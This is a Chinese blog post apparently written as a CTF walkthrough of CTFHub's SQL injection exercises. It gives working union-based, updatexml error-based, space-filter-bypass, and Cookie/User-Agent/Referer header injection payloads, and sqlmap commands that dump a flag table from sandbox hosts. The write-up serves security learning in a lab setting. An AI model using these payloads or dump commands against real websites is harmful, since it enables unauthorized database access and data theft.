CTFHub-Web-sql注入练习

最新推荐文章于 2022-12-16 23:03:12 发布
最新推荐文章于 2022-12-16 23:03:12 发布
阅读量552 收藏 5
点赞数
分类专栏： CTF CTFHub SQL 文章标签： mysql sql 数据库
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_46150940/article/details/109694224
版权
CTF 同时被 3 个专栏收录
39 篇文章 12 订阅
订阅专栏
CTFHub
8 篇文章 1 订阅
订阅专栏
SQL
7 篇文章 0 订阅
订阅专栏

目录

前言

sql注入用到的一些相关函数

函数描述
table_schema数据库名
table_name表名
column_name列名
information_schema.schemata包含所有数据库的名
information_schema.tables包含所有库的表名
information_schema.columns包含所有表的字段
group_concat()函数功能将group by产生的同一个分组中的值连接起来，返回一个字符串结果。

整数型注入

输入1
在这里插入图片描述
1.判断注入类型

1'        报错
1 and 1=1 返回正确
1 and 1=2 返回错误

如果满足以上三条，则可以判断该URL存在数字型注入。

2.判断字段数

1 order by 1    回显正常
1 order by 2    回显正常
1 order by 3    返回错误

所以字段数为2

3 .联合查询

1 and 1=2 union select 1,2    回显正常
-1 union select 1,2           回显正常
-1 union select 1,2,3         返回错误

回显点位是1和2

4.爆数据库名

Payload: ?id=-1 union select 1,database()

当前数据库名为sqli

5.爆表名

Payload: ?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

有两个表，一个是news，另外一个是flag

6.爆字段名

Payload: ?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'

字段名为flag

7.爆值

Payload1: ?id=-1 union select 1,group_concat(flag) from flag
Payload2: ?id=-1 union select 1,flag from flag

字符型注入

输入1，发现sql语句数字中我们输入的1被单引号包裹，字符型注入跟数字型注入的区别就在于引号的闭合
在这里插入图片描述
1.判断注入

1' 返回错误
1' and '1'='1 正常回显
1' and '1'='2 返回错误
1' and 1=1   返回错误，需加注释符号
1' and 1=1#  正常回显
1' and 1=2#  返回错误

可以判断为字符型注入

2.判断字段数

1' order by 1 #   回显正常
1' order by 2 #   回显正常
1' order by 3 #   返回错误

所以字段数为2

3.联合查询

1' and 1=2 union select 1,2#  回显正常
-1' union select 1,2#         回显正常
-1' union select 1,2,3#       返回错误

回显点位是2和3

3.爆数据库名，得到数据库名sqli

Payload: ?id=-1' union select 1,database()#

4.爆表名，得到两个表名 news,flag

Payload: ?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#

5.爆字段名，字段名flag

Payload: ?id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'#

6.爆值

Payload: ?id=-1' union select 1,group_concat(flag) from flag#

报错注入

百度了一下报错注入，报错注入是我们通过反馈出来的错误来获取到我们所需要的信息，发现一共有十种报错注入，最常用到的三种报错注入方式分别是：updatexml()、floor()、extractvalue()。
太菜了，看了下大师傅们的wp，发现这道题就是利用updatexml()函数进行报错注入

updatexml()语法：

UPDATEXML (XML_document, XPath_string, new_value);
参数描述
XML_documentXML_document是String格式，为XML文档对象的名称，文中为Doc
XPath_stringXPath_string (Xpath格式的字符串) ，xpath报错只显示32位结果
new_valuenew_value，String格式，替换查找到的符合条件的数据

updatexml的报错原理：

updatexml第二个参数需要的是Xpath格式的字符串，但是我们第二个参数很明显不是，而是我们想要获得的数据，所以会报错，并且在报错的时候会将其内容显示出来，从而获得我们想要的数据。

使用updatexml报错注入固定格式：

payload：?id=a'and(updatexml("anything",concat('~',(select语句())),"anything"))

concat()函数将其连成一个字符串，因此不会符合XPATH_string的格式，从而出现格式错误，爆出想要的数据

Payload: ?id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

在这里插入图片描述

爆库名，查到数据库名为sqli

Payload: ?id=1 and (updatexml(1,concat(0x7e,(select database()),0x7e),1));

在这里插入图片描述
爆字段，一个news，一个flag

Payload: ?id=1 and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),0x7e),1));

在这里插入图片描述

爆字段名，字段名为flag

Payload: ?id=1 and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e),1));

在这里插入图片描述
爆值

Payload: ?id=1 and (updatexml(1,concat(0x7e,(select group_concat(flag) from flag),0x7e),1));

在这里插入图片描述
好像只有一部分flag，这个时候就用到了mid()函数
在这里插入图片描述
使用mid函数来进行字符截取,来显示另外一半flag。

Payload: ?id=1 and (updatexml(1,concat(0x7e,mid((select group_concat(flag) from flag),32),0x7e),1));

在这里插入图片描述

MySQL结构

在这里插入图片描述
1.判断注入类型
输入1，有回显；输入1 and 1=1，正常回显；输入1 and 1=2, 返回错误。
在这里插入图片描述
所以是数字型注入
2.判断回显点位
输入1 order by 2有回显
在这里插入图片描述
输入

-1 union select 1,2

回显点位为1,2
在这里插入图片描述

3.查数据库名

-1 union select database(),2

数据库名为sqli
在这里插入图片描述
4.查表

-1 union select group_concat(table_name),2 from information_schema.tables where table_schema='sqli'

有news和nrjduumafr表
在这里插入图片描述
5.查字段名

-1 union select group_concat(column_name),2 from information_schema.columns where table_name='nrjduumafr'

字段名为qejxezuixk
在这里插入图片描述
6.爆值

-1 union select qejxezuixk,2 from nrjduumafr

在这里插入图片描述

过滤空格

输入1，回显ctfhub；输入2，回显skill；输入3，无回显。
在这里插入图片描述
绕过空格过滤的方式： /**/、()、%0a。

用%0a代替空格输入

1/**/order/**/by/**/2

有回显
在这里插入图片描述
判断回显位

Payload: ?id=-1/**/union/**/select/**/1,2

在这里插入图片描述

查数据库：

Payload: ?id=-1/**/union/**/select/**/database(),2

数据库为sqli在这里插入图片描述
查表 ：

Payload: ?id= -1/**/union/**/select/**/group_concat(table_name),2/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'

sqli中有两个表，分别为 rrkdctjwlf和news
在这里插入图片描述

查字段：

Payload: ?id=-1/**/union/**/select/**/group_concat(column_name),2/**/from/**/information_schema.columns/**/where/**/table_name='rrkdctjwlf'

rrkdctjwlf表中，有一个字段wonevkchnv
在这里插入图片描述
查看字段的数据：

Payload: ?id= -1/**/union/**/select/**/wonevkchnv,2/**/from/**/rrkdctjwlf

在这里插入图片描述

Cookie注入

在这里插入图片描述
burpsuite抓包，可以看到Cookie里面有id参数
在这里插入图片描述
1.判断注入类型
id=1 and 1=1有回显
在这里插入图片描述

id=1 and 1=2无回显
在这里插入图片描述
所以是数字型注入

2.判断字段数
当id=1 order by 2 时回显正常，当id=1 order by 3时无回显，所以字段数为2
在这里插入图片描述

3.爆数据库名

id=1 and 1=2 union select 1,database()

当前数据库名为sqli
在这里插入图片描述
4.爆表名

id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

有两个表，usrnjffgta和news
在这里插入图片描述
5.爆字段名

id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='usrnjffgta'

字段名为wbloxpuwcu
在这里插入图片描述
6.爆值

id=1 and 1=2 union select 1,group_concat(wbloxpuwcu) from usrnjffgta

在这里插入图片描述
sqlmap–Cookie注入

在sqlmap中使用cookie注入，level >=2才行

首先检测是否有cookie注入

sqlmap -u "http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080" --cookie "id=1" --level 2

存在Cookie注入
在这里插入图片描述
使用kali里面的sqlmap工具
1.查库

sqlmap -u "http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080" --cookie "id=1" --level 2 --dbs

在这里插入图片描述
2.查表

sqlmap -u "http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080" --cookie "id=1" -D sqli --tables

在这里插入图片描述
3.查字段

sqlmap -u "http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080" --cookie "id=1" --level 2 -D sqli -T usrnjffgta --columns

在这里插入图片描述
4.爆值

sqlmap -u "http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080" --cookie "id=1" --level 2 -D sqli -T usrnjffgta -C wbloxpuwcu --dump

在这里插入图片描述

UA注入

在这里插入图片描述
提示输入点在User-Agent，使用bp抓包
在这里插入图片描述
1.判断注入类型
输入1，有回显；输入1 and 1=1，正常回显；输入1 and 1=2, 返回错误。
在这里插入图片描述
注入类型为数字型注入

2.判断字段数
当1 order by 2 时，回显正常，当1 order by 3时，无回显，所以字段数为2
在这里插入图片描述
3.爆数据库名

1 and 1=2 union select 1,database()

当前数据库名为sqli
在这里插入图片描述
4.爆表名

1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

有两个表， news,llvyiyrndd
在这里插入图片描述

5.爆字段名

1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='llvyiyrndd'

字段名为mgrbaiuvpa
在这里插入图片描述
6.爆值

1 and 1=2 union select 1,group_concat(mgrbaiuvpa) from llvyiyrndd

在这里插入图片描述
sqlmap–UA注入

在sqlmap中lever>=3才会去检查user-agent头是否存在注入漏洞

首先检测是否有UA注入

sqlmap -u "http://challenge-532573947dea4d7b.sandbox.ctfhub.com:10080" --user-agent "id=1" --level 3

sqlmap -u "http://challenge-ee766d810401f708.sandbox.ctfhub.com:10080" --user-agent "id=1" --level 3

user-agent处存在注入
在这里插入图片描述
1.爆数据库

sqlmap -u "http://challenge-ee766d810401f708.sandbox.ctfhub.com:10080" --user-agent "id=1" --level 3  --dbs

在这里插入图片描述
2.爆表

sqlmap -u "http://challenge-ee766d810401f708.sandbox.ctfhub.com:10080" --user-agent "id=1" --level 3 -D sqli --tables

在这里插入图片描述
3.爆字段

sqlmap -u "http://challenge-ee766d810401f708.sandbox.ctfhub.com:10080" --user-agent "id=1" --level 3 -D sqli -T llvyiyrndd --columns

在这里插入图片描述
4.爆值

sqlmap -u "http://challenge-ee766d810401f708.sandbox.ctfhub.com:10080" --user-agent "id=1" --level 3 -D sqli -T llvyiyrndd -C mgrbaiuvpa --dump

在这里插入图片描述

Refer注入

在这里插入图片描述
提示请在referer输入ID，bp抓包
在这里插入图片描述
补充Referer头
在这里插入图片描述
1.爆数据库名

1 and 1=2 union select 1,database()

当前数据库名为sqli
在这里插入图片描述
2.爆表名

1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

有两个表， news,scghlrqxyi
在这里插入图片描述

3.爆字段名

1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='scghlrqxyi'

字段名为vzbmlruwwt
在这里插入图片描述

4.爆值

1 and 1=2 union select 1,group_concat(vzbmlruwwt) from scghlrqxyi

在这里插入图片描述

sqlmap–Refer注入

伪造http请求中的referer，level>=3时，sqlmap尝试referer注入

首先检测是否有Refer注入

sqlmap -u "http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/" --referer "id=1" --level 3

Referer头存在注入
在这里插入图片描述

1.爆数据库

sqlmap -u "http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/" --referer "id=1" --level 3 --dbs

在这里插入图片描述

2.爆表

sqlmap -u "http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/" --referer "id=1" --level 3 -D sqli --tables

在这里插入图片描述

3.爆字段

sqlmap -u "http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/" --referer "id=1" --level 3 -D sqli -T scghlrqxyi --columns

在这里插入图片描述

4.爆值

sqlmap -u "http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/" --referer "id=1" --level 3 -D sqli -T scghlrqxyi -C vzbmlruwwt --dump

在这里插入图片描述

Atkxor
关注
  • 0
    点赞
  • 踩
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
7月29日CTFsql注入训练
slc3315的博客
07-29 937
一、g00d_sql 题目： 思路： 这个题其实就是weblib闯关的一道题 两个输入框分别是用户名和密码，主要考注入 步骤一：试探 先用户名输入1，密码1，试一试 发现报错后，试一试万能密码 1’ or 1=1# 明显可以采用注入的方式 步骤二：手工注入 按照以下步骤开工： 1）判断是否存在注入点； 2）判断字段长度； 3）判断字段回显位置； 4）判断数据库信息； 5）查找数据库名； 6）查找数据库表； 7）查找数据库表中所有字段以及字段值； payload: -1’ union select 1,gr
7月30日CTFsql注入训练
slc3315的博客
07-30 1002
题记： 这几天最崩溃的，鼓捣了两个小时，从正确答案到绕过所有终止符，从托库出数据表数据字段到non-numeric，闹混了头。以此为戒切勿钻牛角尖。 一、报错注入 题目： 思路： 很明显，本题是报错注入，注意被绕过的关键词就可以 步骤一：试探 首先是随意提交个用户名和密码，发现是get传参，尝试测试几个关键词，如‘ “ 空格 = + - )等，以及select、union、or、information等 没有屏蔽且符合报错注入判断标准的如上图 被屏蔽的关键词如上图 因此可以测试出来，本题为单引号注入，且空格
CTF/CTF练习平台 --SQL注入测试【sql宽字节注入与#，#】
Sp4rkW的博客
08-19 1万+
原题内容： http://103.238.227.13:10083/ 这题其实就是考验sql注入基本功,写个wp记录下自己的几个失误点，与大家共同学习 首先，打开页面可见 题目提示的很明显了，这是一个注入题，我们肯定得找到注入点，一般的思路都是'闭合导致注入，关键是找到什么数据被传入了数据库，才能确定注入点 按照常规思路，习惯性加上一个index.php，...
CTFHub-Web-sql注入练习（二）
Atkx's Blog
07-23 424
布尔盲注 Length（）函数 返回字符串的长度 Substr（）截取字符串，有三个参数，第一个是要截取的字符串，第二个是从第几个字符开始，第三个是一次截取多少个字符 ascii（） 字符的ASCII码值 大佬脚本 import requests import time urlOPEN = 'http://challenge-b4d99096934b4134.sandbox.ctfhub.com:10080/?id=' starOperatorTime = [] mark = 'query_succ
ctf训练 web安全SQL注入get
qq_43799246的博客
12-02 413
ctf训练 web安全SQL注入get SQL注入漏洞介绍 sQL注入攻击指的是通过构建特殊的输入作为参数传入web应用程序，而这些输入大都是SQL语法里的一些组合，通过执行SQL语句进而执行攻击者所要的操作，其主要原因是程序没有细致地过滤用户输入的数据，致使非法数据侵入系统。 SQL注入的产生原因通常表现在以下几方面: ①不当的类型处理; ②不安全的数据库配置; ③不合理的查询集处理; ④不当的错误处理; ⑤转义字符处理不合适; ⑥多个提交处理不当。 实验环境 一台kail攻击机 和 靶机 靶机镜像：
超级SQL注入工具-web-sql
10-28
超级SQL注入工具是一款基于HTTP协议自组包的SQL注入工具，支持出现在HTTP协议任意位置的SQL注入，支持各种类型的SQL注入 支持Bool型盲注、错误显示注入、Union注入，支持Access、MySQL5以上版本、SQLServer、Oracle...
Secure-Systems-of-SQL-Injection-Attack:具有SQL注入漏洞的安全系统
05-01
Web应用程序带来了新型的计算机安全漏洞，例如SQL注入。 这是一类基于输入验证的漏洞。 SQL注入的典型用法是从数据库泄漏机密信息，绕过身份验证逻辑或向数据库中添加未经授权的帐户。 此安全性可防止未经授权访问您...
计算机-mysql-基于Web应用的SQL注入攻击入侵检测研究.pdf
07-08
论文通过对SQL注入攻击的基本概念和原理、基于Web应用的SQL注入攻击的影响和危害、基于动态查询匹配的SQL注入攻击检测方法、基于Web应用的SQL注入攻击入侵检测系统的设计和实现等方面的研究，旨在解决当前Web应用...
mysql&&sql注入+ctf+web安全
最新发布
10-08
mysql&&sql注入+ctf+web安全
sql注入 之 报错注入 练习
qq_41619455的博客
08-02 295
sql 报错注入
sql注入练习1（XPath报错）
kkzzjx
05-29 629
文章为自我记录，相关原理还是得自己查呀 前置知识xpath XPath 使用路径表达式在 XML 文档中选取节点。节点是通过沿着路径或者 step 来选取的。 下面列出了最有用的路径表达式： 表达式 描述 nodename 选取此节点的所有子节点。 / 从根节点选取。 // 从匹配选择的当前节点选择文档中的节点，而不考虑它们的位置。 . 选取当前节点。 … 选取当前节点的父节点。 @ 选取属性。 实例 在下面的表格中，我们已列出了一些路径表达式以及表达式的结果： .
DoraBox ——SQL注入（数字型、字符型、搜索型）练习笔记
weixin_46204746的博客
02-29 416
1. 整型 在搜索框中输入一个整数 开始判断数据库的字段数，在框中不断输入：1 order by 1（2，3，4），每次都增大order by后面的数字 直到输入框中输入：1 order by 4时报错，可知字段数为3 开始判断字段中的输出位置：0 union select 1, 2, 3 开始爆数据库：0 union select 1, 2, database() 爆当前数据库中的所有表名...
CTFHub技能树web（持续更新）--SQL注入--报错注入
jiuyongpinyin的博客
08-14 562
报错注入 首先题目提示是报错注入，我们先尝试and 1=1 万能测试句： 发现是存在注入的，接着我们报错出数据库： ?id=1 and updatexml(1,concat('~',database()),1) --+ 报错出当前数据库是sqli,接着我们报错出列： ?id=1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='s
ElasticSearch
Blanklr的博客
10-13 532
ElasticSearch 是非关系型数据库 官网： www.elastic.co，是基于Lucene的搜索服务器 关系型数据库查询的弊端 : 性能低、功能弱 ES是弥补这一缺点而诞生的 1.性能低 模糊查询 一条条的遍历 2.功能弱 存储的都是字符串 不能在商品信息字段中 查询出 含有华为或手机的 倒排索引 将各个文档中的内容进行分词、形成词条。然后记录词条和数据的唯一标识的对应关系，形成的产物。是一个散列图 存储原理 1.在index索引库中 生成数据表，即把所有的文档都进行分词
二、CTF-Web-SQL注入（记录CTF学习）
qq_27920699的博客
12-16 395
个人CTF学习之路
sql注入中的union联合查询，union select 1,2,3
m0_51756263的博客
07-10 9031
sql注入中的union联合查询，union select 1,2,3
sql注入中的union select 1,2,3....
热门推荐
good good study
03-15 2万+
在sql注入联合查询中，我们会碰到union select 1,2,3。那这个是什么意思了，首先先看下union select union select 用来合并两个或多个 SELECT 语句的结果集。比如这里新建了两个表，users和users2 users表如下 users2如下 联合查询，即查询users表中的name字段的值和查询users2表中的address字段的值，将结果一起返回 注意：union select只能查询两个表中共同都有的字段，如果一个字...
为什么sql注入的时候会写union select 1，2~~~~~from admin
被遗弃的庸才博客
04-15 1万+
我也是最近好奇才去学了一点web渗透的知识。在这之前还是需要一定的数据库的相关知识。这里假设知道当前表有多少列（这里设置为10），也可以直接通过order by直接测试出来。union 是联和查询的一个关键字，这个有一个前提就是必须满足所有的列是相同的，所以在这前面必须要添加一些没有意义的列来作为填充。这里给一个网站大家可以去看看，我忘记是在哪里看到了，反正可以用。http://www.joesd...
SQL注入实战：sqli-labs实验详解
"sqli-labs实验指导手册详细介绍了如何通过搭建sqli-labs实验平台来学习和实践SQL注入攻击及防御。本实验手册主要针对基于单引号的字符型联合注入进行深入解析，帮助读者理解SQL注入的原理，并提供逐步解密数据库...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Atkxor

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值